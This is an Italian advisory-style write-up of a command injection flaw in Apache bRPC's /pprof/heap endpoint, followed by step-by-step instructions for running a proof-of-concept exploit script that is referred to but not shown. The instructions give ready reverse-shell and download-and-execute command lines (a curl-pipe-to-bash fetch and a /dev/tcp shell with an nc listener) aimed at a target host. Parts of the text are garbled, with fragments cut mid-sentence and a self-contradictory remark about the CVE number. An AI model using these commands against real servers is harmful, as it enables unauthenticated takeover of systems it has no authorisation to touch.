
CVE-2025-60021

CVE-2025-60021 è una vulnerabilità critica di iniezione remota di comandi presente nel servizio integrato di heap profiler (/pprof/heap) di Apache bRPC nelle versioni precedenti alla 1.15.0, che consente ad attaccanti non autenticati di eseguire comandi arbitrari del sistema operativo. ([NVD][1])
| Attributo | Informazione |
|---|---|
| Nome / ID | CVE-2025-60021 |
| Prodotto | Apache bRPC (tutte le piattaforme) |
| Versioni Interessate | < 1.15.0 |
| Data di Pubblicazione | 16 Gen 2026 ([NVD][1]) |
| Tipo di Vulnerabilità | Iniezione Remota di Comandi (CWE-77) ([NVD][1]) |
| Endpoint | /pprof/heap |
| Innesco | Parametro extra_options non sanificato |
| Causa Principale | Input non validato prima dell'esecuzione come comando del sistema operativo ([openwall.com][2]) |
❗Gli attaccanti possono iniettare comandi da remoto semplicemente manipolando questo parametro di profilazione.
🔥 Valutazione di Gravità: Critica
📊 Punteggio Base CVSS v3.1: 9.8 / 10
Vettore: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H ([INCIBE][3])
| Categoria di Impatto | Effetto | |
|---|---|---|
| Riservatezza | Alto | |
| Integrità | Alto | |
| Disponibilità | Alto | |
| Vettore di Attacco | Rete | |
| Privilegi | Nessuno richiesto | |
| Interazione Utente | Nessuna necessaria | ([INCIBE][3]) |
👉 Ciò significa che gli attaccanti possono eseguire comandi arbitrari da remoto senza autenticazione: uno scenario da worst-case per i servizi esposti.
/pprof/heap) destinato all'analisi della memoria (jemalloc). ([openwall.com][2])extra_options. Invece di sanificarlo, bRPC lo passa direttamente alla shell del sistema operativo. ([openwall.com][2])Si presuppone che tu abbia salvato lo script come CVE-2025-60021.py (anche se il CVE reale è 2025-60021—sentiti libero di rinominarlo). È uno script Python 3 per dimostrare la vulnerabilità di iniezione remota di comandi nell'heap profiler di Apache bRPC. Esegui questo script solo su sistemi di tua proprietà o per i quali hai un'esplicita autorizzazione scritta al test: sfruttare la vulnerabilità senza autorizzazione è illegale.
Ambiente Python: Assicurati di avere Python 3 installato (es. 3.6+). Lo script utilizza moduli integrati più requests e argparse (che sono standard o facili da installare).
Installa le Dipendenze: Se non è già presente, installa la libreria requests:
pip install requests
Configurazione del Target: Hai bisogno di un server Apache bRPC vulnerabile:
http://localhost:8060 o un IP/porta remoti).
Se testi in locale, configura un'istanza bRPC vulnerabile (es. tramite Docker o build dal sorgente—fai riferimento alla documentazione di Apache bRPC).Permessi: Esegui con sudo solo se necessario per l'accesso di rete o i privilegi; altrimenti, il semplice python3 è sufficiente.
Copia il codice PoC fornito in precedenza in un file denominato CVE-2025-60021.py. Rendilo eseguibile se lo desideri:
chmod +x CVE-2025-60021.py
Lo script accetta due argomenti posizionali obbligatori:
target: L'URL del server bRPC vulnerabile (es. http://192.168.1.100:8060 o http://targets:8060—correggi eventuali refusi come schema mancante o host non valido).cmd: Il comando da eseguire sul target (es. "id" per le informazioni utente, o qualcosa di più complesso come "curl http://your-server/reverse-shell.sh | bash" per una reverse shell). Usa && o ; per concatenare più comandi.Apri un terminale (es. in Kali Linux, come stai facendo) ed eseguilo con il tuo target e comando. Comandi di esempio:
Test di base (ottieni informazioni di sistema):
sudo python3 CVE-2025-60021.py http://targets:8060 "id && whoami && uname -a"
Esempio di reverse shell (sostituisci your-listener-ip e la porta; configura prima un listener come nc -lvnp 4444):
sudo python3 CVE-2025-60021.py http://targets:8060 "bash -i >& /dev/tcp/your-listener-ip/4444 0>&1"
Se usi HTTPS o una porta diversa, regola l'URL di conseguenza (es. https://target:443—lo script lo gestisce, ma aggiungi --insecure se ci sono problemi di certificato).
Indicatori di Successo:
uid=0(root)... se ha eseguito id).Indicatori di Errore (come quelli che hai visto):
--enable_heap_profiler=true) e riavvia il server.cmd—includilo sempre.echo "test" > /tmp/proof.txt) e verifica il file sul target.; non funziona, prova && o | per la concatenazione. Codifica nell'URL i caratteri speciali se necessario (lo script gestisce la maggior parte)./pprof/heap.